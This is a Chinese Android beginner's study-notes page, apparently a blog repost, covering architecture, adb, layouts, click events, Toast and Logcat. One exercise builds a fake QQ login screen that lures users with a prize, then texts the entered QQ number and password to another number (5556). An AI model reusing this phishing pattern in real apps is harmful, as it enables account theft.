您可以捐助,支持我们的公益事业。

1元 10元 50元





认证码:  验证码,看不清楚?请点击刷新验证码 必填



  求知 文章 文库 Lib 视频 iPerson 课程 认证 咨询 工具 讲座 Modeler   Code  
会员   
 
   
 
 
     
   
 订阅
  捐助
安卓第一天笔记
 
作者:森林森 来自于:博客园 发布于 2016-3-11
  1507  次浏览      16
 

1.移动通信的发展G--(generation)

1G:模拟制式

2G:GSM/CDMA

2.5G:GPRS

2.75G:EDGE

3G:WCDMA/CDMA2000/TD-SCDMA

3.5G/3.75G:HSDPA/HSUPA/HSDPA+

4G:TD-LTE( Long term evolution)长期演进

GSM:9K -->GPRS:42K--> EDGE:172K -->WCDMA:364k -->HSDPA/HSUPA:14.4M -->HSDPA+/HSUPA+:42M -->FDD-LTE:300M

2.安卓结构图

从上到下:

Application应用程序层 ---------JAVA写

Application Framework应用程序框架层-----------JAVA写

Libraries中间件类库层主要由C语言编写

Android Runtime运行环境包含运行时的核心类库与Dalvik Virtual machine

Linux Kernel主要以Linux2.3.6为基础,使用C语言写的各种硬件的驱动

当一个APP运行时,从上到下的调用

3.JVM与Dalvik虚拟机的区别

JVM中第一个java文件都是一个单独的.class字节码文件

在Dalvid中把所有的.class字节码文件都打包为了一个.dex的文件

JVM是基础栈的------内存

Dalvik基础寄存器,---CPU--速度快上很多

4.adb 常见命令--Android debug bridge

adb devices---列出当前在线的安卓设备

adb kill-server --杀死当前的adb服务

adb start-server 启动adb或者直接使用adb devices

adb logcat 查看Log

adb shell 挂载到Linux系统空间

-s表示要使用哪个设备

adb install <应用程序(加扩展名)> 安装应用程序

单个设备安装

单个设置卸载

adb uninstall <程序包名>

多个设备安装

多个设备卸载

adb pull <remote> <local> 把模拟上的文件拉到本地

adb push <local> <remote>把本地的文件放在模拟上

DDMS中可以使用图形化的方式

5.虚拟机

硬件加速器,如果安装成功,启动模拟器时会有如下提示

6.SDK目录结构

SDK Manager

7.安卓项目目录结构

8.DDMS

DDMS 简介

DDMS 是 Dalvik Debug Monitor Service 的简称。DDMS 为 IDE 和 emulator 以及 Android 真机架起来了一座桥梁。开发人员可以通过 DDMS 看到目标机器上运行的进程/线程状态,可以看进程的 heap 信息,可以查看 logcat 信息,可以查看进程分配内存情况,可以向目标机发送短信以及打电话,可以向 Android发送地理位置信息。下面以 Eclipse 的 DDMS perspective 为例简单介绍 DDMS 的功能

左上部分为 Devices 窗口,列出了所有已经跟 adb 成功连接的模拟器(包括真机)以及各个模拟器中所有运行的进程。如图 1-12 所示,最上面一排从左到右一共有 9 个可用按钮,分别为: 调试某个进程,更新进程堆栈信息, 下载进程堆栈数据到本地, 调用垃圾回收器, 更新线程, 开启方法性能分析数据收集, 停止某个进程, 抓取 Android 目前的屏幕, 查看当前界面视图树结构。

9.HelloWorld

创建Helloworld

点击 ADT 左上角的 File 按钮,然后选择 New,然后点击 Android Application Project开始 Android 工程的创建。(或者鼠标右击,在弹出的快捷菜单中创建也可以)。

该界面展示了是否创建图标,是否创建 activity,是否将该工程作为库工程,是否将该工程添加到当前工作空间,是否将该工程添加到指定工作集等信息,通常情况下不需要我们修改默认的配置,直接 Next 就行。

该界面提供了配置图标选项, 我们通过点击 Browser 按钮可以选择我们个性化的图标。在学习阶段不需要使用,然后点击 Next...。

该向导界面可以让我们选择创建一个什么样式的 Activity,一般使用系统默认的 BlankActivity 即可,然后点击 Next...。

这是最后一个向导界面了。 Activity Name 和 Layout Name 分别是让我们设置主 Activity和其布局的名字,通常情况下使用默认名字即可。Navigation Type 是主界面 Activity 切换类型,使用 None即可。然后点击 Finish 完成 Android 工程的创建。

10.布局

线性布局 linearlayout

相对布局 Relativelayout

帧布局 framelayout

表格布局 tablelayout

绝对布局 absoluteLayout

线性布局

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
tools:context=".MainActivity" >

<!-- 上面的文本显示 -->

<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:background="#33330000"
android:gravity="bottom|right"
android:hint="0"
android:lines="3"
android:paddingRight="5dp"
android:textSize="29sp" />
<!-- 下面的按键显示 -->

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical" >

<!-- 第一排按键 -->

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="C"
android:textColor="#ED7A20"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="DEL"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="÷"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="×"
android:textSize="20sp" />
</LinearLayout>
<!-- 第二排按键 -->

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="7"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="8"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="9"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="-"
android:textSize="20sp" />
</LinearLayout>
<!-- 第三排按键 -->

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="4"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="5"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="6"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="+"
android:textSize="20sp" />
</LinearLayout>
<!-- 下面二排最外面 -->

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content" >

<!-- 左边 -->

<LinearLayout
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="3"
android:orientation="vertical" >

<!-- 左边上 -->

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content" >

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="1"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="2"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="3"
android:textSize="20sp" />
</LinearLayout>
<!-- 左边下 -->

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content" >

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="2"
android:text="0"
android:textSize="20sp" />

<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="."
android:textSize="20sp" />
</LinearLayout>
</LinearLayout>

<!-- 右边按键 -->

<Button
android:layout_width="0dp"
android:layout_height="match_parent"
android:layout_weight="1"
android:background="#ED7A20"
android:gravity="bottom|right"
android:text="="
android:textColor="#ffffff"
android:paddingBottom="20dp"
android:paddingRight="20dp"/>
</LinearLayout>
</LinearLayout>
<AbsoluteLayout ></AbsoluteLayout>
</LinearLayout>

相对布局

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context=".MainActivity" >

<!-- 中间 -->

<Button
android:id="@+id/center"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_centerInParent="true"
android:text="中间" />
<!-- 中上 -->

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_above="@id/center"
android:layout_alignLeft="@id/center"
android:text="中上" />
<!-- 中下 -->

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignLeft="@id/center"
android:layout_below="@id/center"
android:text="中下" />
<!-- 中左 -->

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignBottom="@id/center"
android:layout_toLeftOf="@id/center"
android:text="中左" />
<!-- 中右 -->

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignTop="@id/center"
android:layout_toRightOf="@id/center"
android:text="中右" />
<!-- 左上 -->

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="左上" />
<!-- 右上 -->

<Button
android:layout_alignParentRight="true"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="右上 " />

<!-- 左下 -->

<Button
android:layout_alignParentBottom="true"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="左下 " />
<!-- 右下 -->

<Button
android:layout_alignParentBottom="true"
android:layout_alignParentRight="true"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="右上 " />
</RelativeLayout>

10.获取输入用户名与密码发送短信

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center_horizontal"
android:orientation="vertical"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context=".MainActivity" >

<ImageView
android:background="#09A3DC"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:src="@drawable/qq" />

<!--输入QQ号码 -->
<EditText
android:id="@+id/et_qqNumber"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="20dp"
android:hint="请输入QQ号码"
android:inputType="numberSigned" />
<!--输入QQ密码-->
<EditText
android:id="@+id/et_qqPassword"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="20dp"
android:hint="请输入QQ密码"
android:inputType="textPassword" />



<Button
android:id="@+id/btn_login"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="20dp"
android:textColor="#ffffff"
android:background="#09A3DC"
android:text="登录领取Q币大奖"/>
</LinearLayout>

Activity

/**
* 一键领取Q币
* 步骤:
* 1.设置单击事件
* 2.获取输入的QQ号码与密码
* 3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续
* 4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取
* 5.发送QQ号码与密码
* 6.添加发送SMS的权限SEND_SMS
*

* @author 刘楠
*
* 2016-2-17下午7:48:53
*/
public class MainActivity extends Activity {
/*
* QQ号码
*/
EditText et_qqNumber;
/*
* QQ密码
*/
EditText et_qqPassword;
/*
* 登录领取Q币
*/
Button btn_login;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
/*
* 初始化
*/
/*
* QQ号码
*/
et_qqNumber=(EditText) findViewById(R.id.et_qqNumber);
/*
* QQ密码
*/
et_qqPassword=(EditText) findViewById(R.id.et_qqPassword);
/*
* 登录领取Q币
*/
btn_login=(Button) findViewById(R.id.btn_login);
/*
* 设置点击事件
*/
btn_login.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
//2.获取输入的QQ号码与密码

String qq = et_qqNumber.getText().toString().trim();
String password = et_qqPassword.getText().toString().trim();
// 3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续
if(TextUtils.isEmpty(qq)|| TextUtils.isEmpty(password)){
Toast.makeText(MainActivity.this, "亲! QQ号码或者密码不能为空", Toast.LENGTH_SHORT).show();
return ;
}
// 4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取
SmsManager manager = SmsManager.getDefault();

// 5.发送QQ号码与密码
String message="qq :"+qq+",pwd:"+password;

manager.sendTextMessage("5556", null, message, null, null);
/*

* 分离短信

ArrayList<String> divideMessage = manager.divideMessage(message);
for (String str : divideMessage) {
manager.sendTextMessage("5556", null, str, null, null);
}*/
}
});
}

}

11.一键打电话

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context=".MainActivity" >

<Button
android:onClick="callPhone"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:text="一键呼叫文文去做大保健"/>

</RelativeLayout>

12.点击事件的4种写法

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
android:orientation="vertical"
tools:context=".MainActivity" >

<Button
android:id="@+id/btn01"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="第一种写法" />
<Button
android:id="@+id/btn02"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="第二种写法" />
<Button
android:id="@+id/btn03"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="第三种写法" />
<Button
android:onClick="click04"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="第四种写法" />

<Button
android:id="@+id/btn05"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="第三种写法" />

</LinearLayout>

/**
* 点击事件的4种写法:
* 1.写匿名内部类
* 2.内部类
* 3.Activity实现OnClickListener接口
* 4.在布局文件中写onClick属性,在Activity中写对应 的方法,必须为public void 对应的方法名(View v)
*
* @author 刘楠
*
* 2016-2-18上午9:43:04
*/
public class MainActivity extends Activity implements OnClickListener {
/*
* 第一种写法
*/
private Button btn01;
/*
* 第二种写法
*/
private Button btn02;
/*
* 第三种写法
*/
private Button btn03;
/*
* 第三种写法
*/
private Button btn05;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

btn01 = (Button) findViewById(R.id.btn01);
btn02 = (Button) findViewById(R.id.btn02);
btn03 = (Button) findViewById(R.id.btn03);
btn05 = (Button) findViewById(R.id.btn05);

/*
* 第一种点击事件,匿名内部类,按键一
*/
btn01.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
int id = v.getId();
Toast.makeText(MainActivity.this, "第一种,当前ID" + id,
Toast.LENGTH_SHORT).show();
}
});
/*
* 第二种 点击事件,内部类 按键二
*/
btn02.setOnClickListener(new Bt02Litener());

/*
* 第三种写法
*/
btn03.setOnClickListener(this);
btn05.setOnClickListener(this);
}

/*
* 第四种写法
*/
public void click04(View v) {

Toast.makeText(MainActivity.this, "第四种写法", Toast.LENGTH_SHORT).show();

}

/*
* 第二种 点击事件,内部类 按键二
*/
private class Bt02Litener implements OnClickListener {

@Override
public void onClick(View v) {
int id = v.getId();
Toast.makeText(MainActivity.this, "第二种,当前ID" + id,
Toast.LENGTH_SHORT).show();

}

}

/**
* 第三种 事件监听
*/
@Override
public void onClick(View v) {

int id = v.getId();
// 判断
switch (id) {
case R.id.btn03:
// 调用方法
btn03();
break;
case R.id.btn05:
// 调用方法
btn05();
break;
}
}

/*
* 按键3
*/
public void btn03() {
Toast.makeText(this, "按键3", Toast.LENGTH_SHORT).show();
}

/*
* 按键5
*/
public void btn05() {
Toast.makeText(this, "按键5", Toast.LENGTH_SHORT).show();
}

}


/**
* 一键打电话功能 步骤:
* 1.使用意图对象 Intent intent = new Intent();
* 2.设置Action
* 告诉系统我要打电话,setAction(Intent.Action_CALL),调用google提供好的功能
* 3.设置Data数据setData(Uri.parse("tel://电话号码")) tel://相当用http://是一种协议

*
* ACTION_DIAL tel:123 -- Display the phone dialer with the given number filled
* in.

*
*
* 4.启动一个新的Activity界面 5.添加权限CALL_PHONE
*
* @author 刘楠
*
* 2016-2-17下午7:40:42
*/
public class MainActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

}

/**
*
* @param view
*/
public void callPhone(View view) {
// 1.使用意图对象 Intent intent = new Intent();

Intent intent = new Intent();
// 2.设置Action 告诉系统我要打电话,setAction(Intent.Action_CALL)

intent.setAction(Intent.ACTION_CALL);
// 3.设置Data数据setData(Uri.parse("tel://电话号码"))

intent.setData(Uri.parse("tel://10086"));
// 4.启动一个新的Activity界面
startActivity(intent);
}

}

13Logcat的使用

public class MainActivity extends Activity {

private static final String TAG = "MainActivity";

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.v(TAG, "verbose");
Log.d(TAG, "debug");
Log.i(TAG, "info");
Log.w(TAG, "warn");
Log.e(TAG, "error");
Log.wtf(TAG, "wtf");
}

TAG一般都使用类名

14 Juint测试框架

写一个类继承AndroidTestCase

在Manifest.xm清单文件中添加
<instrumentation
android:name="android.test.InstrumentationTestRunner"
android:targetPackage="com.itheima.test" >
</instrumentation>
<uses-library android:name="android.test.runner"/>

和JAVA中的junit 一样的使用

15 提示Toast

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
android:orientation="vertical"
tools:context=".MainActivity" >

<Button
android:id="@+id/btn_simple"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="普通Toast" />
<Button
android:id="@+id/btn_toast"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="带图片Toast" />

</LinearLayout>

/*
* Toast
*/
public class MainActivity extends Activity {

/*
* 普通
*/
private Button btn_simple;
/*
* 带图片的
*/
private Button btn_toast;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

btn_simple = (Button) findViewById(R.id.btn_simple);
btn_toast = (Button) findViewById(R.id.btn_toast);
/*
* 设置监听事件步骤
* 1.事件源,如按键 btn_simple
* 2.事件 OnClick
* 3.监听器new OnClickListener
* 3.绑定事件源与事件 setOnClickListener(new OnClickListener() {}
*/
btn_simple.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
Toast.makeText(MainActivity.this, "简单的文本提示信息", Toast.LENGTH_SHORT).show();
}
});

/*
* 带图片的Toast
*/
btn_toast.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
//创建Toast
Toast toast = new Toast(MainActivity.this);

//设置Toast显示位置
toast.setGravity(Gravity.CENTER, 0, 0);
//创建一个ImageView

ImageView iv = new ImageView(MainActivity.this);
iv.setImageResource(R.drawable.tools);

//创建容器
LinearLayout ll = new LinearLayout(MainActivity.this);

ll.addView(iv);
//创建一个文本
TextView tv = new TextView(MainActivity.this);
tv.setText("带图片提示信息");

tv.setTextSize(24);
tv.setTextColor(Color.MAGENTA);

ll.addView(tv);

toast.setView(ll);

toast.setDuration(Toast.LENGTH_SHORT);

toast.show();

}
});
}

}

   
1507 次浏览       16
 
相关文章

手机软件测试用例设计实践
手机客户端UI测试分析
iPhone消息推送机制实现与探讨
Android手机开发(一)
 
相关文档

Android_UI官方设计教程
手机开发平台介绍
android拍照及上传功能
Android讲义智能手机开发
相关课程

Android高级移动应用程序
Android系统开发
Android应用开发
手机软件测试
最新课程计划
信息架构建模(基于UML+EA)3-21[北京]
软件架构设计师 3-21[北京]
图数据库与知识图谱 3-25[北京]
业务架构设计 4-11[北京]
SysML和EA系统设计与建模 4-22[北京]
DoDAF规范、模型与实例 5-23[北京]

android人机界面指南
Android手机开发(一)
Android手机开发(二)
Android手机开发(三)
Android手机开发(四)
iPhone消息推送机制实现探讨
手机软件测试用例设计实践
手机客户端UI测试分析
手机软件自动化测试研究报告
更多...   

Android高级移动应用程序
Android应用开发
Android系统开发
手机软件测试
嵌入式软件测试
Android软、硬、云整合

领先IT公司 android开发平台最佳实践
北京 Android开发技术进阶
某新能源领域企业 Android开发技术
某航天公司 Android、IOS应用软件开发
阿尔卡特 Linux内核驱动
艾默生 嵌入式软件架构设计
西门子 嵌入式架构设计
更多...